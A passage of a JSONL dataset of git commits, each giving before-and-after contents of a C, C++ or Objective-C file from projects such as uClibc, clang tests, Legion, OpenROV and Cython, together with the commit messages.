{"commit":"f3fa0c81d09d352a89c91fdf624ab26bfddf5eb8","old_file":"system_hooks.h","new_file":"system_hooks.h","old_contents":"","new_contents":"#ifndef __BOMALLOC_SYSTEM\n#define __BOMALLOC_SYSTEM\n#include <stdbool.h>\n#include <stdlib.h>\n#include <unistd.h>\n\n\nbool speculating(void);\nvoid record_allocation(void * p, size_t t);\nint getuniqueid(void);\n\n#endif\n","subject":"Add header file with prototypes that bomalloc needs from the surrounding enviroment","message":"[core] Add header file with prototypes that bomalloc needs from the surrounding enviroment\n","lang":"C","license":"mit","repos":"benohalloran\/ipa,benohalloran\/noomr,benohalloran\/ipa,benohalloran\/bomalloc,benohalloran\/bomalloc,benohalloran\/noomr"}
{"commit":"2bfcd96325b8f0a677658a13440c7ac0066915e2","old_file":"include\/stm8_gpio.h","new_file":"include\/stm8_gpio.h","old_contents":"\n#include \"stm8s003_reg.h\"\n\ntypedef enum {\n    PORT_A = PA_ODR,\n    PORT_B = PB_ODR,\n    PORT_C = PB_,\n    PORT_D,\n    PORT_E,\n    PORT_F\n} port_t;\n\nvoid toggle_port_a_pin(uint8_t pin);\nvoid set_high_port_a_pin(uint8_t pin);\nvoid set_low_port_a_pin(uint8_t pin);\nvoid set\n","new_contents":"\n#include \"stm8s003_reg.h\"\n\n#include <stdint.h>\n\nstruct input_pin_config\n{\n    bool pull_up_enable;\n    bool interrupt_enable;\n};\n\nstruct output_pin_config\n{\n    bool open_drain_enable;\n    bool fast_mode_enable;\n};\n\ninline void set_port_a(uint8_t value)\n{\n    PA_ODR = value;\n}\n\ninline void toggle_port_a_pin(uint8_t pin)\n{\n    set_port_a((*(uart16_t *) PA_ODR) ^ ~(1 << pin));\n}\n\ninline void set_high_port_a_pin(uint8_t pin)\n{\n    set_port_a((*(uint16_t *) PA_ODR) | (1 << pin));\n}\n\ninline void set_low_port_a_pin(uint8_t pin)\n{\n    set_port_a((*(uart16_t *) PA_ODR) & ~(1 << pin));\n}\n\ninline void read_port_a(uint8_t * value)\n{\n    &value = (uint16_t *) PA_IDR;\n}\n\ninline bool read_port_a_pin(uint8_t pin)\n{\n    uint8_t value;\n    read_port_a_pin(value);\n    return value >> pin;\n}\n\ninline void configure_port_a_input_pin(struct input_pin_config * config);\ninline void configure_port_a_output_pin(struct output_pin_config * config);\n","subject":"Add some inline functions for configuring gpio.","message":"Add some inline functions for configuring gpio.\n","lang":"C","license":"mit","repos":"tderensis\/stm8_lib,tderensis\/stm8_lib"}
{"commit":"a2015a13fbaa23a2a2097b8573a36e617d1eb980","old_file":"baseutils\/ls\/tests\/functional_test.c","new_file":"baseutils\/ls\/tests\/functional_test.c","old_contents":"\/*\n * $FreeBSD$\n *\n * Smoke test for `ls` utility\n *\/\n\n#include <getopt.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"functional_test.h\"\n\nint\nmain(int argc, char *argv[])\n{\n  while ((opt = getopt_long(argc, argv, short_options,\n                  long_options, &option_index)) != -1) {\n    switch(opt) {\n      case 0:     \/* valid long option *\/\n        \/* generate the valid command for execution *\/\n        snprintf(command, sizeof(command),\n                \"\/bin\/ls --%s > \/dev\/null\", long_options[option_index].name);\n        ret = system(command);\n\n        if (ret == -1) {\n          fprintf(stderr, \"Failed to create child process\\n\");\n          exit(EXIT_FAILURE);\n        }\n\n        if (!WIFEXITED(ret)) {\n          fprintf(stderr, \"Child process failed to terminate normally\\n\");\n          exit(EXIT_FAILURE);\n        }\n\n        if (WEXITSTATUS(ret))\n          fprintf(stderr, \"\\nValid option '--%s' failed to execute\\n\",\n                  long_options[option_index].name);\n        else\n          printf(\"Successful: '--%s'\\n\", long_options[option_index].name);\n\n        break;\n\n      case '?':   \/* invalid long option *\/\n        break;\n\n      default:\n        printf(\"getopt_long returned character code %o\\n\", opt);\n    }\n  }\n\n  exit(EXIT_SUCCESS);\n}\n","new_contents":"\/*\n * $FreeBSD$\n *\n * Smoke test for `ls` utility\n *\/\n\n#include <getopt.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/wait.h>\n#include \"functional_test.h\"\n\nint\nmain(int argc, char *argv[])\n{\n  while ((opt = getopt_long(argc, argv, short_options,\n                  long_options, &option_index)) != -1) {\n    switch(opt) {\n      case 0:     \/* valid long option *\/\n        \/* generate the valid command for execution *\/\n        snprintf(command, sizeof(command),\n                \"\/bin\/ls --%s > \/dev\/null\", long_options[option_index].name);\n        ret = system(command);\n\n        if (ret == -1) {\n          fprintf(stderr, \"Failed to create child process\\n\");\n          exit(EXIT_FAILURE);\n        }\n\n        if (!WIFEXITED(ret)) {\n          fprintf(stderr, \"Child process failed to terminate normally\\n\");\n          exit(EXIT_FAILURE);\n        }\n\n        if (WEXITSTATUS(ret))\n          fprintf(stderr, \"\\nValid option '--%s' failed to execute\\n\",\n                  long_options[option_index].name);\n        else\n          printf(\"Successful: '--%s'\\n\", long_options[option_index].name);\n\n        break;\n\n      case '?':   \/* invalid long option *\/\n        break;\n\n      default:\n        printf(\"getopt_long returned character code %o\\n\", opt);\n    }\n  }\n\n  exit(EXIT_SUCCESS);\n}\n","subject":"Fix compilation error on FreeBSD","message":"Fix compilation error on FreeBSD\n\nError log -\n  ```\n  undefined reference to `WIFEXITED'\n  undefined reference to `WEXITSTATUS'\n  ```\n\nApparently the header file <sys\/wait.h> has to be included in FreeBSD\nunlike on Linux (Ubuntu 16.10) since it is included by <stdlib.h>.\n","lang":"C","license":"bsd-2-clause","repos":"shivansh\/smoketestsuite,shivrai\/smoketestsuite,shivrai\/smoketestsuite,shivrai\/smoketestsuite,shivansh\/smoketestsuite,shivansh\/smoketestsuite"}
{"commit":"150ea1ffddd8ade2bd1b7f146277210c5f182321","old_file":"arduino\/OpenROV\/Settings.h","new_file":"arduino\/OpenROV\/Settings.h","old_contents":"\n#ifndef __SETTINGS_H_\n#define __SETTINGS_H_\n#include <Arduino.h>\n#include \"Device.h\"\n\n\/\/ This section is for devices and their configuration\n\/\/Kit:\n#define HAS_STD_LIGHTS (1)\n#define LIGHTS_PIN 5\n#define HAS_STD_CAPE (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_PILOT (1)\n#define HAS_STD_CAMERAMOUNT (1)\n#define CAMERAMOUNT_PIN 3\n#define CAPE_VOLTAGE_PIN 0 \n#define CAPE_CURRENT_PIN 3\n\n\/\/After Market:\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define CALIBRATIONLASERS_PIN 6\n#define HAS_POLOLU_MINIMUV (1)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n\n\n#define MIDPOINT 1500\n#define LOGGING (1)\n\n\nclass Settings : public Device {\n  public:\n    static int smoothingIncriment; \/\/How aggressive the throttle changes\n    static int deadZone_min;\n    static int deadZone_max;\n    static int capability_bitarray;\n    \n    Settings():Device(){};\n    void device_setup();\n    void device_loop(Command cmd);\n};\n\n#endif\n","new_contents":"\n#ifndef __SETTINGS_H_\n#define __SETTINGS_H_\n#include <Arduino.h>\n#include \"Device.h\"\n\n\/\/ This section is for devices and their configuration\n\/\/Kit:\n#define HAS_STD_LIGHTS (1)\n#define LIGHTS_PIN 5\n#define HAS_STD_CAPE (1)\n#define HAS_STD_2X1_THRUSTERS (1)\n#define HAS_STD_PILOT (1)\n#define HAS_STD_CAMERAMOUNT (1)\n#define CAMERAMOUNT_PIN 3\n#define CAPE_VOLTAGE_PIN 0 \n#define CAPE_CURRENT_PIN 3\n\n\/\/After Market:\n#define HAS_STD_CALIBRATIONLASERS (0)\n#define CALIBRATIONLASERS_PIN 6\n#define HAS_POLOLU_MINIMUV (0)\n#define HAS_MS5803_14BA (0)\n#define MS5803_14BA_I2C_ADDRESS 0x76\n\n\n#define MIDPOINT 1500\n#define LOGGING (1)\n\n\nclass Settings : public Device {\n  public:\n    static int smoothingIncriment; \/\/How aggressive the throttle changes\n    static int deadZone_min;\n    static int deadZone_max;\n    static int capability_bitarray;\n    \n    Settings():Device(){};\n    void device_setup();\n    void device_loop(Command cmd);\n};\n\n#endif\n","subject":"Reset default settings to stock kit configuration","message":"Reset default settings to stock kit configuration\n","lang":"C","license":"mit","repos":"BrianAdams\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,kavi87\/openrov-cockpit,johan--\/openrov-cockpit,spiderkeys\/openrov-cockpit,OpenROV\/openrov-cockpit,johan--\/openrov-cockpit,kavi87\/openrov-cockpit,johan--\/openrov-cockpit,kavi87\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,spiderkeys\/openrov-cockpit,BrianAdams\/openrov-cockpit,kavi87\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,spiderkeys\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BrianAdams\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,kavi87\/openrov-cockpit,OpenROV\/openrov-cockpit,spiderkeys\/openrov-cockpit,johan--\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,BrianAdams\/openrov-cockpit,BenjaminTsai\/openrov-cockpit,BrianAdams\/openrov-cockpit,spiderkeys\/openrov-cockpit,chaudhryjunaid\/openrov-cockpit,johan--\/openrov-cockpit,OpenROV\/openrov-cockpit"}
{"commit":"177e9089a4bfdb04d73a12eba6dc3b426b33b8d6","old_file":"src\/GtkApplicationDelegate.h","new_file":"src\/GtkApplicationDelegate.h","old_contents":"\/* GTK+ Integration with platform-specific application-wide features \n * such as the OS X menubar and application delegate concepts.\n *\n * Copyright (C) 2009 Paul Davis\n * Copyright © 2010 John Ralls\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; version 2.1\n * of the License.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\t See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface GtkApplicationDelegate : NSObject <NSApplicationDelegate> {}\n@end\n\n","new_contents":"\/* GTK+ Integration with platform-specific application-wide features \n * such as the OS X menubar and application delegate concepts.\n *\n * Copyright (C) 2009 Paul Davis\n * Copyright © 2010 John Ralls\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; version 2.1\n * of the License.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\t See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\/\n\n#import <Cocoa\/Cocoa.h>\n#include <AvailabilityMacros.h>\n\n#if MAC_OS_X_VERSION_MIN_REQUIRED >= 1060\n@interface GtkApplicationDelegate : NSObject <NSApplicationDelegate> {}\n#else\n@interface GtkApplicationDelegate : NSObject {}\n#endif\n@end\n\n","subject":"Fix compile error on Leopard & Tiger.","message":"Fix compile error on Leopard & Tiger.\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/gtk-mac-integration,GNOME\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration,GNOME\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration,jralls\/gtk-mac-integration,sharoonthomas\/gtk-mac-integration,jralls\/gtk-mac-integration,jralls\/gtk-mac-integration"}
{"commit":"c253a5fdd7d8f46031f48901b84c606217637db8","old_file":"bindings\/terra\/legion_terra_util.h","new_file":"bindings\/terra\/legion_terra_util.h","old_contents":"","new_contents":"\/* Copyright 2015 Stanford University\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef __LEGION_TERRA_UTIL_H__\n#define __LEGION_TERRA_UTIL_H__\n\n#include \"legion_c_util.h\"\n\ntemplate<typename T, typename W = LegionRuntime::HighLevel::CObjectWrapper>\nvoid lua_push_opaque_object(lua_State* L, T obj)\n{\n  void* ptr = W::unwrap(obj);\n\n  lua_newtable(L);\n  lua_pushstring(L, \"impl\");\n  lua_pushlightuserdata(L, ptr);\n  lua_settable(L, -3);\n}\n\ntemplate<typename T>\nvoid lua_push_opaque_object_array(lua_State* L, T* objs, unsigned num_objs)\n{\n  lua_newtable(L);\n  for(unsigned i = 0; i < num_objs; ++i)\n  {\n    lua_push_opaque_object(L, objs[i]);\n    lua_pushinteger(L, i + 1);\n    lua_insert(L, -2);\n    lua_settable(L, -3);\n  }\n}\n\n#define CHECK_LUA(EXP)                              \\\n  if ((EXP) != 0)                                   \\\n  {                                                 \\\n    fprintf(stderr,                                 \\\n        \"error calling lua function : %s (%s:%d)\\n\", \\\n        lua_tostring(L, -1),                        \\\n        __FILE__, __LINE__);                        \\\n    exit(-1);                                       \\\n  }                                                 \\\n\nstruct ObjectWrapper\n{\n  typedef LegionRuntime::HighLevel::Mapper::DomainSplit DomainSplit;\n\n  static vector_legion_domain_split_t\n  wrap(std::vector<DomainSplit>* slices)\n  {\n    vector_legion_domain_split_t slices_;\n    slices_.impl = slices;\n    return slices_;\n  }\n\n  static std::vector<DomainSplit>*\n  unwrap(vector_legion_domain_split_t slices_)\n  {\n    return reinterpret_cast<std::vector<DomainSplit>*>(slices_.impl);\n  }\n};\n\n#endif \/\/ __LEGION_TERRA_UTIL_H__\n","subject":"Add a missing file for Terra bindings.","message":"Add a missing file for Terra bindings.\n","lang":"C","license":"apache-2.0","repos":"noahdesu\/legion,chuckatkins\/legion,SKA-ScienceDataProcessor\/legion-sdp-clone,SKA-ScienceDataProcessor\/legion-sdp-clone,sdalton1\/legion,StanfordLegion\/legion,noahdesu\/legion,SKA-ScienceDataProcessor\/legion-sdp-clone,StanfordLegion\/legion,sdalton1\/legion,chuckatkins\/legion,StanfordLegion\/legion,StanfordLegion\/legion,chuckatkins\/legion,sdalton1\/legion,SKA-ScienceDataProcessor\/legion-sdp-clone,StanfordLegion\/legion,noahdesu\/legion,StanfordLegion\/legion,chuckatkins\/legion,chuckatkins\/legion,SKA-ScienceDataProcessor\/legion-sdp-clone,sdalton1\/legion,sdalton1\/legion,StanfordLegion\/legion,noahdesu\/legion,sdalton1\/legion,noahdesu\/legion,chuckatkins\/legion,StanfordLegion\/legion,chuckatkins\/legion"}
{"commit":"12521bf43e5415935befb6fc02f3bf8564252ddf","old_file":"native\/traceptprovider_doubleload\/program.c","new_file":"native\/traceptprovider_doubleload\/program.c","old_contents":"#include <dlfcn.h>\n\nint main(int argc, char* argv[])\n{\n    dlopen(\"1\/\/libcoreclr.so\", RTLD_NOW | RTLD_GLOBAL);\n    dlopen(\"2\/\/libcoreclrtraceptprovider.so\", RTLD_LAZY);\n    dlopen(\"2\/\/libcoreclr.so\", RTLD_NOW | RTLD_GLOBAL);\n\n    return 0;\n}\n","new_contents":"\/\/#define _GNU_SOURCE\n#include <dlfcn.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid *dlopen(const char *filename, int flag)\n{\n    static void* (*dlopenImpl)(const char *filename, int flag) = 0;\n    if(!dlopenImpl)\n    {\n        dlopenImpl = dlsym(RTLD_NEXT, \"dlopen\");\n    }\n\n    if(strcmp(filename, \"2\/\/libcoreclrtraceptprovider.so\") == 0)\n    {\n        printf(\"Skip loading 2\/\/libcoreclrtraceptprovider.so.\\n\");\n        return 0;\n    }\n\n    printf(\"Calling dlopen(%s).\\n\", filename);\n    return dlopenImpl(filename, flag);\n}\n\nint main(int argc, char* argv[])\n{\n    dlopen(\"1\/\/libcoreclr.so\", RTLD_NOW | RTLD_GLOBAL);\n    dlopen(\"2\/\/libcoreclr.so\", RTLD_NOW | RTLD_GLOBAL);\n\n    return 0;\n}\n","subject":"Update implementation to hook calls to dlopen.","message":"Update implementation to hook calls to dlopen.\n","lang":"C","license":"mit","repos":"brianrob\/coretests,brianrob\/coretests"}
{"commit":"1b19c178ffecf125b9cbda8aa1bae11f49fcecf5","old_file":"include\/dsnutil\/singleton.h","new_file":"include\/dsnutil\/singleton.h","old_contents":"\/\/\/ \\file\n\/\/\/ \\brief Singleton design pattern\n\/\/\/\n\/\/\/ \\author Peter 'png' Hille <peter@das-system-networks.de>\n#ifndef SINGLETON_HH\n#define SINGLETON_HH 1\n\n#include <dsnutil\/compiler_features.h>\n\nnamespace dsn {\n\/\/\/ \\brief Template for singleton classes\n\/\/\/\n\/\/\/ This template can be used to implement the \"singleton\" design pattern\n\/\/\/ on any class.\ntemplate <class Derived> class Singleton {\npublic:\n    \/\/\/ \\brief Access singleton instance\n    \/\/\/\n    \/\/\/ \\return Reference to the instance of this singleton.\n    static dsnutil_cpp_DEPRECATED Derived& getInstance() { return instanceRef(); }\n\n    \/\/\/ \\brief Access singleton instance (by reference)\n    \/\/\/\n    \/\/\/ \\return Reference to the initialized singleton instance\n    static Derived& instanceRef()\n    {\n        static Derived instance;\n        return instance;\n    }\n\n    \/\/\/ \\brief Access singleton instance (by pointer)\n    \/\/\/\n    \/\/\/ \\return Pointer to the initialized singleton instance\n    static Derived* instancePtr() { return &instanceRef(); }\n\nprotected:\n    \/\/\/ \\brief Default constructor\n    \/\/\/\n    \/\/\/ \\note This ctor is protected so that derived classes can implement\n    \/\/\/ their own logics for object initialization while still maintaining\n    \/\/\/ the impossibility of direct ctor calls!\n    Singleton() {}\n\nprivate:\n    \/\/\/ \\brief Copy constructor\n    \/\/\/\n    \/\/\/ \\note This ctor is private to prevent multiple instances of the same\n    \/\/\/ singleton from being created through object assignments!\n    Singleton(const Singleton&) {}\n};\n}\n\n#endif \/\/ !SINGLETON_HH\n","new_contents":"\/\/\/ \\file\n\/\/\/ \\brief Singleton design pattern\n\/\/\/\n\/\/\/ \\author Peter 'png' Hille <peter@das-system-networks.de>\n#ifndef SINGLETON_HH\n#define SINGLETON_HH 1\n\nnamespace dsn {\n\/\/\/ \\brief Template for singleton classes\n\/\/\/\n\/\/\/ This template can be used to implement the \"singleton\" design pattern\n\/\/\/ on any class.\ntemplate <class Derived> class Singleton {\npublic:\n    \/\/\/ \\brief Access singleton instance (by reference)\n    \/\/\/\n    \/\/\/ \\return Reference to the initialized singleton instance\n    static Derived& instanceRef()\n    {\n        static Derived instance;\n        return instance;\n    }\n\n    \/\/\/ \\brief Access singleton instance (by pointer)\n    \/\/\/\n    \/\/\/ \\return Pointer to the initialized singleton instance\n    static Derived* instancePtr() { return &instanceRef(); }\n\nprotected:\n    \/\/\/ \\brief Default constructor\n    \/\/\/\n    \/\/\/ \\note This ctor is protected so that derived classes can implement\n    \/\/\/ their own logics for object initialization while still maintaining\n    \/\/\/ the impossibility of direct ctor calls!\n    Singleton() {}\n\nprivate:\n    \/\/\/ \\brief Copy constructor\n    \/\/\/\n    \/\/\/ \\note This ctor is private to prevent multiple instances of the same\n    \/\/\/ singleton from being created through object assignments!\n    Singleton(const Singleton&) {}\n};\n}\n\n#endif \/\/ !SINGLETON_HH\n","subject":"Remove deprecated instance() method from Singleton","message":"Remove deprecated instance() method from Singleton\n","lang":"C","license":"bsd-3-clause","repos":"png85\/dsnutil_cpp"}
{"commit":"00dc4cb5f356873e8c0b704e2cf2467f0f0a9a71","old_file":"libc\/sysdeps\/linux\/common\/bits\/uClibc_errno.h","new_file":"libc\/sysdeps\/linux\/common\/bits\/uClibc_errno.h","old_contents":"\/*\n * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n#ifndef _BITS_UCLIBC_ERRNO_H\n#define _BITS_UCLIBC_ERRNO_H 1\n\n#ifdef IS_IN_rtld\n# undef errno\n# define errno _dl_errno\nextern int _dl_errno; \/\/ attribute_hidden;\n#elif defined __UCLIBC_HAS_THREADS__\n# include <tls.h>\n# if defined USE___THREAD && USE___THREAD\n#  undef errno\n#  ifndef NOT_IN_libc\n#   define errno __libc_errno\n#  else\n#   define errno errno\n#  endif\nextern __thread int errno __attribute_tls_model_ie;\n# endif \/* USE___THREAD *\/\n#endif \/* IS_IN_rtld *\/\n\n#define __set_errno(val) (errno = (val))\n\n#ifndef __ASSEMBLER__\nextern int *__errno_location (void) __THROW __attribute__ ((__const__))\n# ifdef IS_IN_rtld\n\tattribute_hidden\n# endif\n;\n# if defined __UCLIBC_HAS_THREADS__\n#  include <tls.h>\n#  if defined USE___THREAD && USE___THREAD\nlibc_hidden_proto(__errno_location)\n#  endif\n# endif\n\n#endif \/* !__ASSEMBLER__ *\/\n\n#endif\n","new_contents":"\/*\n * Copyright (C) 2000-2006 Erik Andersen <andersen@uclibc.org>\n *\n * Licensed under the LGPL v2.1, see the file COPYING.LIB in this tarball.\n *\/\n#ifndef _BITS_UCLIBC_ERRNO_H\n#define _BITS_UCLIBC_ERRNO_H 1\n\n#ifdef IS_IN_rtld\n# undef errno\n# define errno _dl_errno\nextern int _dl_errno; \/\/ attribute_hidden;\n#elif defined __UCLIBC_HAS_THREADS__\n# include <tls.h>\n# if defined USE___THREAD && USE___THREAD\n#  undef errno\n#  ifndef NOT_IN_libc\n#   define errno __libc_errno\n#  else\n#   define errno errno\n#  endif\nextern __thread int errno attribute_tls_model_ie;\n# endif \/* USE___THREAD *\/\n#endif \/* IS_IN_rtld *\/\n\n#define __set_errno(val) (errno = (val))\n\n#ifndef __ASSEMBLER__\nextern int *__errno_location (void) __THROW __attribute__ ((__const__))\n# ifdef IS_IN_rtld\n\tattribute_hidden\n# endif\n;\n# if defined __UCLIBC_HAS_THREADS__\n#  include <tls.h>\n#  if defined USE___THREAD && USE___THREAD\nlibc_hidden_proto(__errno_location)\n#  endif\n# endif\n\n#endif \/* !__ASSEMBLER__ *\/\n\n#endif\n","subject":"Fix typo in macro for tls access model","message":"Fix typo in macro for tls access model\n","lang":"C","license":"lgpl-2.1","repos":"joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc,joel-porquet\/tsar-uclibc"}
{"commit":"111468dc4e6fb96938654a259deba0a92d564cd6","old_file":"docs\/examples\/memoryviews\/C_func_file.c","new_file":"docs\/examples\/memoryviews\/C_func_file.c","old_contents":"#include \"C_func_file.h\"\r\n\r\nvoid multiply_by_10_in_C(double arr[], unsigned int n)\r\n{\r\n    for (int i = 0; i < n; i++) {\r\n        arr[i] *= 10;\r\n    }\r\n}\r\n","new_contents":"#include \"C_func_file.h\"\r\n\r\nvoid multiply_by_10_in_C(double arr[], unsigned int n)\r\n{\r\n    unsigned int i;\r\n    for (i = 0; i < n; i++) {\r\n        arr[i] *= 10;\r\n    }\r\n}\r\n","subject":"Fix warning about \"comparison between signed and unsigned\" in example and make it fully C89 compatible.","message":"Fix warning about \"comparison between signed and unsigned\" in example and make it fully C89 compatible.\n","lang":"C","license":"apache-2.0","repos":"scoder\/cython,cython\/cython,da-woods\/cython,cython\/cython,scoder\/cython,cython\/cython,da-woods\/cython,da-woods\/cython,cython\/cython,scoder\/cython,scoder\/cython,da-woods\/cython"}
{"commit":"d29ef61ebb9064b8b78db0cf7ca1c9ab9f4ce2d9","old_file":"tests\/regression\/00-sanity\/28-wpoint-restart-sound.c","new_file":"tests\/regression\/00-sanity\/28-wpoint-restart-sound.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval\n#include <pthread.h>\n#include <assert.h>\n\nint g = 0;\n\nvoid *worker(void *arg )\n{\n  return NULL;\n}\n\nint main(int argc , char **argv )\n{\n  pthread_t tid;\n  pthread_create(& tid, NULL, & worker, NULL);\n\n  while (g >= 10) {\n\n  }\n  assert(1); \/\/ reachable\n  g++;\n  assert(1); \/\/ reachable\n  return 0;\n}\n","subject":"Add regression test for TD3 wpoint restart soundness","message":"Add regression test for TD3 wpoint restart soundness\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"39c7ec7b73483cc79999299df192383e58f6419c","old_file":"ios\/Firestack\/FirestackDatabase.h","new_file":"ios\/Firestack\/FirestackDatabase.h","old_contents":"\/\/\n\/\/  FirestackDatabase.h\n\/\/  Firestack\n\/\/\n\/\/  Created by Ari Lerner on 8\/23\/16.\n\/\/  Copyright © 2016 Facebook. All rights reserved.\n\/\/\n\n#ifndef FirestackDatabase_h\n#define FirestackDatabase_h\n\n#import \"Firebase.h\"\n#import \"RCTEventEmitter.h\"\n#import \"RCTBridgeModule.h\"\n\n@interface FirestackDatabase : RCTEventEmitter <RCTBridgeModule> {\n\n}\n\n@property (nonatomic) NSDictionary *_DBHandles;\n@property (nonatomic, weak) FIRDatabaseReference *ref;\n\n@end\n\n#endif","new_contents":"\/\/\n\/\/  FirestackDatabase.h\n\/\/  Firestack\n\/\/\n\/\/  Created by Ari Lerner on 8\/23\/16.\n\/\/  Copyright © 2016 Facebook. All rights reserved.\n\/\/\n\n#ifndef FirestackDatabase_h\n#define FirestackDatabase_h\n\n#import \"Firebase.h\"\n#import \"RCTEventEmitter.h\"\n#import \"RCTBridgeModule.h\"\n\n@interface FirestackDatabase : RCTEventEmitter <RCTBridgeModule> {\n\n}\n\n@property NSMutableDictionary *dbReferences;\n@property FIRDatabase *database;\n\n@end\n\n#endif\n","subject":"Update missing iOS header changes","message":"Update missing iOS header changes\n","lang":"C","license":"mit","repos":"sraka1\/react-native-firestack,sraka1\/react-native-firestack,sraka1\/react-native-firestack,sraka1\/react-native-firestack"}
{"commit":"438d7f05d34abfdf6a8a8954a957b97275162070","old_file":"test\/CodeGen\/mrtd.c","new_file":"test\/CodeGen\/mrtd.c","old_contents":"\/\/ RUN: %clang_cc1 -mrtd -triple i386-unknown-freebsd9.0 -emit-llvm -o - %s | FileCheck %s\n\nvoid baz(int arg);\n\n\/\/ CHECK: define x86_stdcallcc void @foo(i32 %arg) nounwind\nvoid foo(int arg) {\n\/\/ CHECK: call x86_stdcallcc i32 (...)* @bar(i32 %tmp)\n  bar(arg);\n\/\/ CHECK: call x86_stdcallcc void @baz(i32 %tmp1)\n  baz(arg);\n}\n\n\/\/ CHECK: declare x86_stdcallcc i32 @bar(...)\n\n\/\/ CHECK: declare x86_stdcallcc void @baz(i32)\n","new_contents":"\/\/ RUN: %clang_cc1 -mrtd -triple i386-unknown-freebsd9.0 -emit-llvm -o - %s | FileCheck %s\n\nvoid baz(int arg);\n\n\/\/ CHECK: define x86_stdcallcc void @foo(i32 %arg) nounwind\nvoid foo(int arg) {\n\/\/ CHECK: call x86_stdcallcc i32 (...)* @bar(i32\n  bar(arg);\n\/\/ CHECK: call x86_stdcallcc void @baz(i32\n  baz(arg);\n}\n\n\/\/ CHECK: declare x86_stdcallcc i32 @bar(...)\n\n\/\/ CHECK: declare x86_stdcallcc void @baz(i32)\n","subject":"Kill off more names to fix this test","message":"Kill off more names to fix this test\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@126775 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"1a387a296e9988792baa730fd2b0972d98158a68","old_file":"kernel\/include\/bs_config_parser.h","new_file":"kernel\/include\/bs_config_parser.h","old_contents":"#ifndef BS_CONFIG_PARSER_H\n#define BS_CONFIG_PARSER_H\n\n#include \"bs_common.h\"\n\n#include <map>\n#include <string>\n#include <vector>\n\nnamespace blue_sky {\n\tstruct wcfg;\n\n\tclass BS_API bs_cfg_p {\n\tpublic:\n\t\tfriend struct wcfg;\n\n\t\ttypedef std::vector<std::string>     vstr_t;\n\t\ttypedef std::map<std::string,vstr_t> map_t;\n\n\n\t\tvoid parse_strings (const std::string &str, bool append = false);\n\t\tvoid read_file (const char *filename);\n\t\tvoid clear_env_map ();\n\t\tconst map_t &env() const;\n\t\tvstr_t getenv(const char *e);\n\n\tprivate:\n\t\tbs_cfg_p ();\n\n\t\tmap_t env_mp;\n\t};\n\n\ttypedef singleton< bs_cfg_p > cfg;\n\n}\n\n#endif \/\/ BS_CONFIG_PARSER_H\n","new_contents":"#ifndef BS_CONFIG_PARSER_H\n#define BS_CONFIG_PARSER_H\n\n#include \"bs_common.h\"\n\n#include <map>\n#include <string>\n#include <vector>\n\nnamespace blue_sky {\n\tstruct wcfg;\n\n\tclass BS_API bs_cfg_p {\n\tpublic:\n\t\tfriend struct wcfg;\n\n\t\ttypedef std::vector<std::string>     vstr_t;\n\t\ttypedef std::map<std::string,vstr_t> map_t;\n\n\n\t\tvoid parse_strings (const std::string &str, bool append = false);\n\t\tvoid read_file (const char *filename);\n\t\tvoid clear_env_map ();\n\t\tconst map_t 